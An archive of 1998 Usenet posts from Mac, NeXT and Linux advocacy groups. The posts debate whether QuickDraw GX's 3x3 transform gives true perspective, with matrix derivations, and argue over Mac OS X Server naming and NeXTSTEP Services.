Let's put this in layman's terms. You say GX text can be transformed into
perspective like Star Wars opening credits. If it's just a 2D
transformation, the letters will all have their bounding boxes turning
into trapazoids, but they'll still have the same x-height and cap-height
no matter how "distant" they are. There's no foreshortening, as a painter
would say.
If the transform is applied to 3D data, there _is_ foreshortening, and the
glyphs in back truly look more distant, because they're smaller in both
axes.
So the question boils down to this: Does GX text exhibit the proper
foreshortening, in addition to being squeezed and skewed into trapaziodal
bounding boxes?
---------------------------------------------------------------------
Hugh Johnson hugh@deletethis.semplicesoft.com Simple Tools
Semplice Software hughj@deletethis.kagi.com for
612-792-0583 BHuey@deletethis.att.net Smart People
<http://www.semplicesoft.com> -- Home of Font Gander Pro
---------------------------------------------------------------------
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: Switch nextstep -> linux ?
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec3000205@slave.doubleu.com>
References: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca> <3651E28F.90C2A84A@inch.com>
<3651F9C8.F5ADA57E@cygnus.com> <SCOTT.98Nov30210140@slave.doubleu.com>
<740rkt$c32$1@nnrp1.dejanews.com> <366465A3.C353EAE6@cygnus.com>
In-reply-to: John Rudd's message of Tue, 01 Dec 1998 13:54:43 -0800
Date: 3 Dec 98 00:02:05
NNTP-Posting-Date: Thu, 03 Dec 1998 01:59:49 PDT
In article <366465A3.C353EAE6@cygnus.com>,
John Rudd <jrudd@cygnus.com> writes:
Really, you two don't need to preach to me about how great Services
are, and how the fact that in many cases they just shave off a few
seconds and gestures really does add up to more overall
productivity. I'm just saying that in the tradeoff between a
useable* environment and a useful** environment, useful seems to be
winning.
Hey, I agree fully with this. I've been sorely tempted to give in and
start developing under Linux. At worst, I could _write_ a lot of the
stuff like Services that I like from NeXTSTEP, if it was _that_ big a
deal...
I was mainly responding to the point in the original post where you
said about Services:
>who actually did anything REALLY cool and useful that you can think
>of off the top of your head?
Them're fighting words,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec3001939@slave.doubleu.com>
References: <01be1188$01ce14e0$06387880@chewy> <01be1317$dca3f220$06387880@chewy>
<731j16$6r4$1@ash.prod.itd.earthlink.net>
<%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com>
<732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com>
<733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com>
<73btsl$nb2$1@nnrp1.dejanews.com> <73djku$itc@news1.panix.com>
<73efr0$n4o$1@nnrp1.dejanews.com> <73g21j$bd0@news1.panix.com>
<73g41e$3bf$1@your.mother.com> <73ie0r$35j@news1.panix.com>
<365cd784.0@news.depaul.edu> <73pg4s$49l@news1.panix.com>
<73u9pa$79n$1@nnrp1.dejanews.com> <7401vq$5s8@news1.panix.com>
In-reply-to: sal@panix.com's message of 1 Dec 1998 06:22:50 GMT
Date: 3 Dec 98 00:19:39
NNTP-Posting-Date: Thu, 03 Dec 1998 01:59:50 PDT
In article <7401vq$5s8@news1.panix.com> sal@panix.com (Sal Denaro) writes:
How many years did it take for IE to catch up to NN? And this is
with MS doing all it could to shove IE into people's faces and onto
thier machines.
Of course, IE never caught up to NN in the sense that there wasn't a
static pool of users, and IE stole away NN users. Instead, IE just
got most of the incoming users. Even then, with as many incoming
users as the Internet has had for the past couple years, it must be
quite appalling to Microsoft that they don't have the _entire_ market.
I'm sure the number of new web users in 1998 greatly outnumbers the
entire population of web users from before 1998...
That's why I wonder about the new cheapo PCs. Wintel enables them,
but I wonder what we'll find once the djinni is out of the bottle?
People buying $500 PCs are probably looking for different things than
people buying $2000 PCs were...
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec3001200@slave.doubleu.com>
References: <01be1188$01ce14e0$06387880@chewy>
<whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
<72tfuq$oj0@shelob.afs.com>
<ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
<01be1317$dca3f220$06387880@chewy>
<731j16$6r4$1@ash.prod.itd.earthlink.net>
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<732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com>
<733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com>
<SCOTT.98Nov30212634@slave.doubleu.com> <F3AoEs.4oL@T-FCN.Net>
In-reply-to: maury@remove_this.istar.ca's message of Tue, 1 Dec 1998 16:28:02 GMT
Date: 3 Dec 98 00:12:00
NNTP-Posting-Date: Thu, 03 Dec 1998 01:59:49 PDT
In article <F3AoEs.4oL@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) writes:
In <SCOTT.98Nov30212634@slave.doubleu.com> Scott Hess wrote:
=> What does NT _server_ sell for? What does Netware _server_ sell
> for? What does AppleShare _server_ sell for?
>
> NT Server is called that because it's intended for serving
> networks. Netware is a server because it's intended to _be_ the
> network (in some senses). MacOS X Server is called "Server"
> because it's too far advanced to be lumped in with MacOS 8.x.
Hmmmm, I can't say I really agree with this line of logic. You're
saying in the first bit that what makes these products a server is
that that's they way they are sold (well, at least in the NT
group), the intensions of the OS. In the next part you state that
this is not true for Apple and they only give it this name because
it's generally powerful
I think you'll find it hard to back up this claim.
I guess what I'm saying is that calling something "NT Server" no more
makes it a server in real life than calling it "Mac OS X Server".
Rhapsody didn't suddenly change into a whiz-bang superserver just by
changing the name. It's the same old wonderful power-user client
system wrapped in a UI that even a novice can use.
What I'm saying is that the "Server" tag isn't there because they're
targeting a server environment, really (just because high-end
developer machines share many parts with servers doesn't _make_ them
servers. For instance, I have much nicer video cards and sound stuff
on my development machines than on my server). The "Server" suffix is
there because they aren't ready for hordes of MacOS 8 _users_ to jump
into it. They could have left it as "Rhapsody", but that makes it
look like they were moving away from MacOS. They could have called it
"MacOS Pro", but that sounds like MacOS plus something, which it
isn't.
My whole point in quibbling with the "Server" designation is that NT
Server costs much more than NT Workstation because it's supposed to be
used for serving large numbers of people, say over the Internet. As a
developer, I'd never want to have NT Server installed on my machine.
MacOS X Server, meanwhile, will have a significant contingent of
developers using it. I think the MacOS X Server target market is more
comparable to Windows NT Workstation's than it is to Windows NT
Server's.
I, personally, don't want to have to pay for MacOS X Server as if I
was going to install a database and server 1M web pages a day off of
it. Perhaps they should bring out MacOS X Enterprise to clear up that
concern...
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: Switch nextstep -> linux ?
Date: 2 Dec 98 23:59:16
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec2235916@slave.doubleu.com>
References: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca> <3651E28F.90C2A84A@inch.com>
<3651F9C8.F5ADA57E@cygnus.com> <SCOTT.98Nov30210140@slave.doubleu.com>
<740rkt$c32$1@nnrp1.dejanews.com> <742b26$aoj$5@blue.hex.net>
In-reply-to: cbbrowne@news.hex.net's message of 2 Dec 1998 03:09:58 GMT
In article <742b26$aoj$5@blue.hex.net>,
cbbrowne@news.hex.net (Christopher Browne) writes:
On Tue, 01 Dec 1998 13:40:48 GMT,
spagiola@my-dejanews.com <spagiola@my-dejanews.com> wrote:
>scott@nospam.doubleu.com (Scott Hess) wrote:
>> Services are, unfortunately, one of those wildly useful features
>> that nobody knows they miss...
>
>Agreed. And like many things in NeXTSTEP, they're one of those
>things that's almost impossible to describe the advantages of.
>Like the poster you were responding to, everyone thinks "well, I
>can do that already by just switching apps and pasting". It's one
>of those things you have to use to see just how useful it is. Of
>course, if Apple continues to keep MOSX hidden away in a cellar
>somewhere, it's hard for people to do so.
Sounds to me a whole lot like the vi thing of doing:
:.,$!fmt
<ducking quickly as people assortedly retch or reach for
flamethrowers...>
Services are _exactly_ like the vi way of doing things, except A) a
mere mortal can operate Services ("mere mortal" being defined as
"anyone who uses vi less than a couple hours a day" :-), and B)
Services can take most any type of data as input and spit out most any
type of data as output (in practice, 90% of the time it's
ASCII->ASCII).
I use vi all the time...
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
References: <3665d1d7$0$219@nntp1.ba.best.com> <B28B8E46-E60BB@206.165.43.131>
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Message-ID: <hOt92.25134$aF1.69922@typhoon-sf.snfc21.pbi.net>
Date: Thu, 3 Dec 1998 02:30:51 -0800
NNTP-Posting-Date: Thu, 03 Dec 1998 02:33:49 PDT
Organization: SBC Internet Services
Lawson English wrote in message ...
>So, it is a 2D perspective? You have an interesting definition of
>"perspective." Mathematically, what is the difference between applying the
>3x3 transform and a higher-order transform, given the GX initial conditions
>and constraints?
To make this fair, I'm assuming that the set of transformations
(representable
in a 4x4 matrix) that will be performed on the surface is a Rotate around
the X axis, a Translate along Z to the required distance, and a Perspective
to map the whole thing into a 2D projection onto the screen.
These 4x4 transformation matricies (commonly used by 3D computer graphics
engines) would be:
R = | 1 0 0 0 |
| 0 C S 0 |
| 0 -S C 0 |
| 0 0 0 1 |
T = | 1 0 0 0 |
| 0 1 0 0 |
| 0 0 1 0 |
| 0 0 Z 1 |
P = | 1 0 0 0 | (Simplified perspective matrix from
| 0 1 0 0 | Newman & Sproull, "Principles of
| 0 0 1 1 | Interactive Computer Graphics.")
| 0 0 -1 0 |
(Where C = cos(angle), S = sin(angle), and Z = distance 2D text is away
from the camera in 3D space.)
When you multiply these terms out, you get the resulting 3D transformation
M = R T P = | 1 0 0 0 |
| 0 C S S |
| 0 -S C C |
| 0 0 Z-1 Z |
Now this assumed that we were starting our text at z=0, and moving the
distance out through the translation matrix T. That means that our
initial starting points will be of the form P = (x,y,0,1)
Thus:
P*M = (x,y,0,1) * M = (x, Cy, Sy+Z-1, Sy+Z)
which we would divide through by the 'w' in the homogeneous coordinate
system to get the resulting screen locations:
screen = (x/(Sy+Z),Cy/(Sy+Z))
Now this whole thing could have been represented as a 3x3 matrix:
G = | 1 0 0 |
| 0 C S |
| 0 0 Z |
That's because the z term in the point P is zero, and because for
the purposes of display (not the purposes of 3D order detection, but
we're doing 2D effects, not full 3D graphics), we don't care about
the homogeneous Z term.
Note that applying the GX transformation using this matrix:
( x, y, 1 ) G = ( x, Cy, Sy+Z )
which, when transformed to screen coordinates (remember: the third
term is divided into the first two by GX to get the final coordinate),
we get
screen = (x/(Sy+Z),Cy/(Sy+Z))
And thus to get the effect of the text rotated angle A at a distance
Z from the camera can be simulated by using the 3x3 GX matrix G
above.
QED
>Within the constraints of the 3x3 matrix of GX (not the cameralibrary -I
>have no idea how accurate this would be), what is the difference *in
>appearance* between taking a GX object and applying the 3x3 matrix to
>obtain a rotation about the x and/or y axis in the z direction, and the
>appearance obtained by applying a higher-order matrix and projecting onto
>the screen?
>
>Remember: we are only applying the transform once.
There is no mathematical difference, as I've shown above. While
we're missing the 'depth' term that most folks are used to in
3D homogeneous coordinates, that 'depth' term is implicit in the
third column of the GX transformation matrix.
Of course we can't model spheres or boxes or cubes or all sorts
of really cool 3D computer graphics effects, but then we're
talking about warping text and 2D graphical elements where the
3rd dimension is implicitly zero. And since we're also not
worried about using the screen Z/W term in order to determine
the order of graphical elements for the purposes of hidden
polygon detection, we can completely drop both the Z row and
Z column in the homogeneous 4x4 matrix to get a 3x3 GX matrix
that gives us the mathematically equivalent effect.
Foreshortning and all.
- Bill Woody
The PandaWave
(Who isn't defending GX; personally I think it was too little,
too late. And while GX is technologically cool, unfortunately
I think it's the wrong approach for that sort of thing from a
political and marketing standpoint. OTOH, GX *IS* technologically
cool, and slamming it for something people think it can't do
is just wrong.)
[P.S.: Please pardon the odd number of sign errors above.]
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
References: <us53e6ytoa6.fsf@kit.ai.mit.edu> <B28B8F42-E9BE2@206.165.43.131>
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Message-ID: <TWt92.25136$aF1.68447@typhoon-sf.snfc21.pbi.net>
Date: Thu, 3 Dec 1998 02:40:01 -0800
NNTP-Posting-Date: Thu, 03 Dec 1998 02:42:59 PDT
Organization: SBC Internet Services
Lawson English wrote in message ...
>Er, how is the "w" of the 3x3 matrix in GX different than the "a33" element
>of Wohlberg's perspective transform and how is this different (within the
>aforementioned constraints of GX) from the higher-order matrices?
>
>The GX manual suggests that one leave it at "1" for maximum speed, but the
>transformation algorithm that GX uses will make use of non-unity values of
>the "w" element, which makes it identical to the 3x3 perspective transform.
I think people here aren't working out the math. I did in another post,
and Lawson English, as annoying as he can be at times, is absolutely
right.
What GX is doing is a _special case_ of the general 3D perspective
transformation operation, where the objects start as 2D (that is,
with z=0), and where we do not care about the resulting screen space
Z position.
In short, if we start with points (x,y,0,1) and we don't care about
the 3rd term in the screen space coordinates, we can effectively
eliminate the 3rd row and 3rd column of the 4x4 transformation
matrix, leaving us with the 3x3 matrix that GX uses for it's
transformations. If you don't believe me, dig up my other post
where I actually work this out with a rotation, Z translation and
perspective matrix, and generate the proper GX matrix to simulate
the effect.
- Bill Woody
(Who thinks that often people can become so enamored with terms
like 'affine transformation' and 'homogeneous coordinate systems'
that they fail to do the bloody algaebra.)
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 3 Dec 1998 10:46:14 GMT
Organization: AOL http://www.aol.com
References: <SCOTT.98Dec3001200@slave.doubleu.com>
Message-ID: <19981203054614.10244.00000007@ng-bw1.aol.com>
scott hess said:
>I guess what I'm saying is that calling something "NT Server" no more
>makes it a server in real life than calling it "Mac OS X Server".
Hmm, for a while now, I've been wishing that Apple had called Mac OS X Mac OS X
Workstation. I think however that the reasons against this were two-fold: one,
X Workstation would too easily make people think of X terminal; two, Apple is
hoping that OS X Server will be able to stop the hemorrhaging out of their
upper right market where NT Servers go in to serve Mac networks.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: PowerPC board for NeXTBus...
Date: 3 Dec 1998 10:49:29 GMT
Organization: AOL http://www.aol.com
Message-ID: <19981203054929.10244.00000009@ng-bw1.aol.com>
A very generous soul (thanks Kyle!) sent me the last two issues of NeXTWorld,
in one of them was a letter were the writer predicted that Apple and Next would
one day inevitably join and that a wonderful product for the resultant company
to make would be a NeXTBus PowerPC card...
Oh for what might've been.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
References: <3665d1d7$0$219@nntp1.ba.best.com> <B28B8E46-E60BB@206.165.43.131>
In-Reply-To: <B28B8E46-E60BB@206.165.43.131>
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Date: 03 Dec 1998 10:40:48 GMT
Message-ID: <36666ab0$0$229@nntp1.ba.best.com>
On 12/02/98, "Lawson English" wrote:
>Kenneth C. Dyke <kcd@babylon5.jumpgate.com> said:
>
>>On 12/01/98, "Lawson English" wrote:
>>>
>>>Er, any time you apply 3D operations to ANY graphic, all you are
>>>getting out is 2D data, unless you are using some bleeding-edge
>>>holographic graphics system.
>>
>>Pop Quiz: Take a 3D graphic and apply a 3D transform (rotation,
>>translation, scaling, etc.) to it. What kind of data is the result?
>>
>
>3D. Now project it on a computer screen.
Woah, hold it. You didn't say anything about projection. Your
statement was essentially that all useful 3D operations to graphics
result in 2D data, which is simply false.
>What kind of data is the result?
2D, of course.
>Remember, no graphics operation is useful until it is displayed and by
>then it is merely a 2D projection.
Also false. There are a lot of uses for doing 3D transformations that
do not result in 2D projections or any other direct output to display
devices. A very simple example would be doing 3D collision detection
in a game. At no point while doing the collision detection would you
ever project the data down to 2D.
>>>The simple fact is that I never said that GX was suitable for
"serious
>>>3D work," but only useful for applying a 3D perspective to editable
>>>text and graphics.
>>
>>But it is not *3D* perspective, a point that you can not seem to
grasp.
>>
>
>So, it is a 2D perspective? You have an interesting definition of
>"perspective."
Let me change the emphasis then: It is not *3D perspective*.
>Mathematically, what is the difference between applying the
>3x3 transform and a higher-order transform, given the GX initial
>conditions and constraints?
For starters, and one that is actually very important to GX, is that
GX's "perspective" transform matrix is invertable (at least for any
useful gxMapping, obviously you could map all points to 0,0 or some
other point, but then hit detection wouldn't be all that useful on such
an object, nor would rendering for that matter). This is useful for
proper hit detection within a shape.
With a *3D* perspective projection, depth information is completely
thrown away[*] such that you can't convert from screen coordinates back
to 3D camera or object coordinates using only the projection matrix.
This is not to say that it can't be done at all, but the method to do
it is different than what GX would have to do for its shapes.
[*] Actually, with a depth buffer you could read back the depth
information at a particular point.
>>The 3D perspective projection essentially boils down to scaling the X
>>and Y coordinates of 3D data by the Z distance from the viewer.
>>
>>The pseudo-perspective that GX provides scales the X and Y
>>coordinates based on the X and Y coordinates themselves.
>
>And the info provided by the u and v elements of the GX 3x3 matrix,
>which correspond to a rotation about the x and/or y axis, combined
>with an element, 'w', which is essentially a distance element.
Sortof. Unfortunately the u and v terms do not behave in a
particularly useful way to someone trying to use them to represent 3D
rotations. The GX example code (the bitmap example) basically figures
out what the u and v (and other gxMapping) values should be based on
what the resulting polygon is, not the other way around. Of course,
that does make it easier to just drag around the corners of a polygon
and the mapping code will just make things work for you. On the other
hand, it lets you drag the corners around into an "impossible"
perspective mapping as well.
>Within the constraints of the 3x3 matrix of GX (not the cameralibrary
>-I have no idea how accurate this would be), what is the difference
>*in appearance* between taking a GX object and applying the 3x3 matrix
>to obtain a rotation about the x and/or y axis in the z direction, and
>the appearance obtained by applying a higher-order matrix and
>projecting onto the screen?
Perhaps nothing, but that still doesn't make GX's perspective effect a
3D operation. Taking 2D data and warping it in such a way that it
appears to be 3D doesn't make the operation 3D in and of itself. You
can get the polygon mapping code to generate completely screwed up
perspective gxMapping matrices simply by asking it to generate a
mapping from a convex to a concave polygon, which it will quite happily
try to do. The resulting mess on the screen that results certainly
doesn't look like 3D perspective any more.
In any case, GX's renderer is still not really aware of real 3D
perspective. If it was then it would also get everything else right
when doing it's perspective operation, but currently it doesn't as Mike
Paquette pointed out.
I suppose one thing you could do if GX had real 4x4 transform matrices
is perform inter-shape clipping in 3D, so you could clip two
intersecting pieces of text to each other. The existing 2D code can't
actually tell where to clip this sort of thing properly to get the same
visual effect as 3D clipping. This would be pretty fringe stuff,
though. Defining what clipping one shape to another in 3D would do
would probably add a whole new level of complexity to GX. ;)
What I would *much* rather see Apple do in the long run for 3D effects
is to simply have nice OpenGL integration into the AppKit along with
eQD. It would be totally cool (IMHO) if AppKit could actually be
retargetted somehow to do all of it's rendering via OpenGL calls. Then
you could do your 2D drawing into any arbitrary 3D plane that you
wanted, and could apply all of the other cool effects that OpenGL can
do. Of course, I'm sure that's not exactly a trivial amount of work.
;)
I'm just not convinced that perspective text is worthwhile enough to
drag in the rest of GX along with it. The developer world just
doesn't need another ad-hoc object model to deal with that doesn't have
real compiler or language support. I'd rather be able to write a
custom shape subclass that can do neat things on it's own when someone
clicks on it, instead of having some external piece of code be told
about it.
I also don't think that modern CPUs should be crippled by using fixed
point coordinate systems, given how fast FPUs are these days. Dealing
with fixed point math everywhere is simply a pain in the ass, and a
performance hit on modern processors. However, that doesn't mesh well
with your dream of having the same API supported between a five year
old 68K box and a 300Mhz G3 system (and beyond), unless you're willing
to blow off 68K systems without FPUs, which I seriously doubt, or
willing to deal with emulated floating point on those systems, which
would also be a massive performance hit.
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Software Engineer, Jane's Combat Simulations, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
References: <3665d1d7$0$219@nntp1.ba.best.com> <B28B8E46-E60BB@206.165.43.131>
In-Reply-To: <B28B8E46-E60BB@206.165.43.131>
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Date: 03 Dec 1998 10:43:59 GMT
Message-ID: <36666b6f$0$225@nntp1.ba.best.com>
On 12/02/98, "Lawson English" wrote:
>Kenneth C. Dyke <kcd@babylon5.jumpgate.com> said:
>
>>On 12/01/98, "Lawson English" wrote:
>>>
>>>Er, any time you apply 3D operations to ANY graphic, all you are
>>>getting out is 2D data, unless you are using some bleeding-edge
>>>holographic graphics system.
>>
>>Pop Quiz: Take a 3D graphic and apply a 3D transform (rotation,
>>translation, scaling, etc.) to it. What kind of data is the result?
>>
>
>3D. Now project it on a computer screen.
Woah, hold it. You didn't say anything about projection. Your
statement was essentially that all useful 3D operations to graphics
result in 2D data, which is simply false.
>What kind of data is the result?
2D, of course.
>Remember, no graphics operation is useful until it is displayed and by
>then it is merely a 2D projection.
Also false. There are a lot of uses for doing 3D transformations that
do not result in 2D projections or any other direct output to display
devices. A very simple example would be doing 3D collision detection
in a game. At no point while doing the collision detection would you
ever project the data down to 2D.
>>>The simple fact is that I never said that GX was suitable for
"serious
>>>3D work," but only useful for applying a 3D perspective to editable
>>>text and graphics.
>>
>>But it is not *3D* perspective, a point that you can not seem to
grasp.
>>
>
>So, it is a 2D perspective? You have an interesting definition of
>"perspective."
Let me change the emphasis then: It is not *3D perspective*.
>Mathematically, what is the difference between applying the
>3x3 transform and a higher-order transform, given the GX initial
>conditions and constraints?
For starters, and one that is actually very important to GX, is that
GX's "perspective" transform matrix is invertable (at least for any
useful gxMapping, obviously you could map all points to 0,0 or some
other point, but then hit detection wouldn't be all that useful on such
an object, nor would rendering for that matter). This is useful for
proper hit detection within a shape.
With a *3D* perspective projection, depth information is completely
thrown away[*] such that you can't convert from screen coordinates back
to 3D camera or object coordinates using only the projection matrix.
This is not to say that it can't be done at all, but the method to do
it is different than what GX would have to do for its shapes.
[*] Actually, with a depth buffer you could read back the depth
information at a particular point.
>>The 3D perspective projection essentially boils down to scaling the X
>>and Y coordinates of 3D data by the Z distance from the viewer.
>>
>>The pseudo-perspective that GX provides scales the X and Y
>>coordinates based on the X and Y coordinates themselves.
>
>And the info provided by the u and v elements of the GX 3x3 matrix,
>which correspond to a rotation about the x and/or y axis, combined
>with an element, 'w', which is essentially a distance element.
Sortof. Unfortunately the u and v terms do not behave in a
particularly useful way to someone trying to use them to represent 3D
rotations. The GX example code (the bitmap example) basically figures
out what the u and v (and other gxMapping) values should be based on
what the resulting polygon is, not the other way around. Of course,
that does make it easier to just drag around the corners of a polygon
and the mapping code will just make things work for you. On the other
hand, it lets you drag the corners around into an "impossible"
perspective mapping as well.
>Within the constraints of the 3x3 matrix of GX (not the cameralibrary
>-I have no idea how accurate this would be), what is the difference
>*in appearance* between taking a GX object and applying the 3x3 matrix
>to obtain a rotation about the x and/or y axis in the z direction, and
>the appearance obtained by applying a higher-order matrix and
>projecting onto the screen?
Perhaps nothing, but that still doesn't make GX's perspective effect a
3D operation. Taking 2D data and warping it in such a way that it
appears to be 3D doesn't make the operation 3D in and of itself. You
can get the polygon mapping code to generate completely screwed up
perspective gxMapping matrices simply by asking it to generate a
mapping from a convex to a concave polygon, which it will quite happily
try to do. The resulting mess on the screen that results certainly
doesn't look like 3D perspective any more.
In any case, GX's renderer is still not really aware of real 3D
perspective. If it was then it would also get everything else right
when doing it's perspective operation, but currently it doesn't as Mike
Paquette pointed out.
I suppose one thing you could do if GX had real 4x4 transform matrices
is perform inter-shape clipping in 3D, so you could clip two
intersecting pieces of text to each other. The existing 2D code can't
actually tell where to clip this sort of thing properly to get the same
visual effect as 3D clipping. This would be pretty fringe stuff,
though. Defining what clipping one shape to another in 3D would do
would probably add a whole new level of complexity to GX. ;)
What I would *much* rather see Apple do in the long run for 3D effects
is to simply have nice OpenGL integration into the AppKit along with
eQD. It would be totally cool (IMHO) if AppKit could actually be
retargetted somehow to do all of it's rendering via OpenGL calls. Then
you could do your 2D drawing into any arbitrary 3D plane that you
wanted, and could apply all of the other cool effects that OpenGL can
do. Of course, I'm sure that's not exactly a trivial amount of work.
;)
I'm just not convinced that perspective text is worthwhile enough to
drag in the rest of GX along with it. The developer world just
doesn't need another ad-hoc object model to deal with that doesn't have
real compiler or language support. I'd rather be able to write a
custom shape subclass that can do neat things on it's own when someone
clicks on it, instead of having some external piece of code be told
about it.
I also don't think that modern CPUs should be crippled by using fixed
point coordinate systems, given how fast FPUs are these days. Dealing
with fixed point math everywhere is simply a pain in the ass, and a
performance hit on modern processors. However, that doesn't mesh well
with your dream of having the same API supported between a five year
old 68K box and a 300Mhz G3 system (and beyond), unless you're willing
to blow off 68K systems without FPUs, which I seriously doubt, or
willing to deal with emulated floating point on those systems, which
would also be a massive performance hit.
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Software Engineer, Jane's Combat Simulations, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
From: lunaslide@pacbell.net (lunaslide)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple - Star Wars connection
Date: Thu, 3 Dec 1998 06:41:49 -0800
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <MPG.10d04309fc72e7198969b@news.supernews.com>
References: <73o7eu$v2a$3@your.mother.com> <3661a6ae.484034@news1.bway.net>
sayeth root@anarchy.gov in article <3661a6ae.484034@news1.bway.net>
> "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null> said:
>
> |Strange thought just struck me...
> |
> |I believe Apple's first computer and operating system came out in 1977 -
> |the same year that the first Star Wars movie came out.
> |
> |Now it appears that the first *major* upgrade to the Mac operating
> |system, MacOS X, will probably be released in 1998 - the same year that
> |the next Star Wars trilogy will begin.
> |
> |[The first demo I saw of NextTime, NeXT's version of QuickTime, at
> |NextWorld was using Star Wars].
> |
> |I hope both the new movie and the operating system succeed.
> |
> |May the Force be with them,
> |
> |Todd
>
> Bill Gates is the Emperor and Steve Jobs has died and has now become
> Darth Vader. It happened at that last Macworld when Emperor Gates
> appeared on that huge screen behind Steve to officially announce
> Steve's turning to the darkside.
Funny thing about that. It's only recently that we have found out
through the MS anti-trust trial that MS's "investment" in Apple was part
of their settlement with Apple over stealing code from Quicktime. Not
only that, but a larger, undisclosed sum of money was also given to Apple
as part of the the settlement. I think that smug grin on Jobs' face at
Macworld had more to do with *that* than him going to the Dark Side.
--
lunaslide * PGP key->pgpkeys.mit.edu port 11371
* * * * * *
Ah, the good old days when things were crap. *
* * * -The Passenger * *
* * * * *
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
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Date: Thu, 3 Dec 1998 15:06:19 GMT
In <B28AF039-80CF1@206.165.43.204> "Lawson English" wrote:
> Which shipping libraries that are available for free on every color Mac
> shipped in the last 4 years (or have been upgraded to System 7.1 or later)
> can do this?
None. I don't believe that GX qualifies either, as it did not ship on
any of the Mac's I've purchased _ever_ requiring at the minimum an upgrad
of the OS.
But here you are on the OTHER argument again.
You: name any system that can do xxx
Us: ok, here's n of them
You: well name one that consists ONLY of green cheese and can whistle Dixie
underwater while weaving a new parachute?
Sigh.
> out-of-the-box, last I heard. For a 3rd-party to add it in won't be easy
A topic on which you cannot comment whatsoever. Indeed the last time you
claimed this the author of the application in question specifically stated
the opposite.
> Sure it's an issue. It means that 68K owners AND PPC owners are being
> screwed over. The fact that they aren't aware of it doesn't change things.
Yeah, screwed over. I DON'T have to install this huge chunk of code that
no one uses and makes my printers stop working. Damb that Apple!
> > As the WebPainter author pointed out, this isn't an issue either.
>
> Did he?
Yes.
> What did he say about sharing of QT vectors with other apps?
Nothing. In fact he said his customers didn't really use it and tend to
use other portions of the app.
> > Ahhh, it's OUR problem.
> >
>
> So it would seem...
Yes, the WHOLE WORLD is dumb! I'm the only smart one!
Yeah, right. Once again we see the overall patern of the thread repeat
itself for the nth time. At some point in time you get fed up and start
saying we're all stupid. This time it took only two weeks for this to
happen though, which I think is the current recrod.
> Whose private e-mail have I posted on the internet without permission?
Well duh, I can't say can I? You have however sent edited versions of my
messages in these threads onto other people in what appears to be an effort
to get them to refute me, without my permission. I have asked you to stop
this behaviour several times.
> done that once or twice and apologized when I realized what I had done.
When why did you ask?
> I've also posted a heavily-edited line that you can't determine the source
> of. And just who have you contacted who doesn't share my viewpoint whom I
> have asserted does support my view?
Basically every name you've quoted with the exception of Cary Clark, who
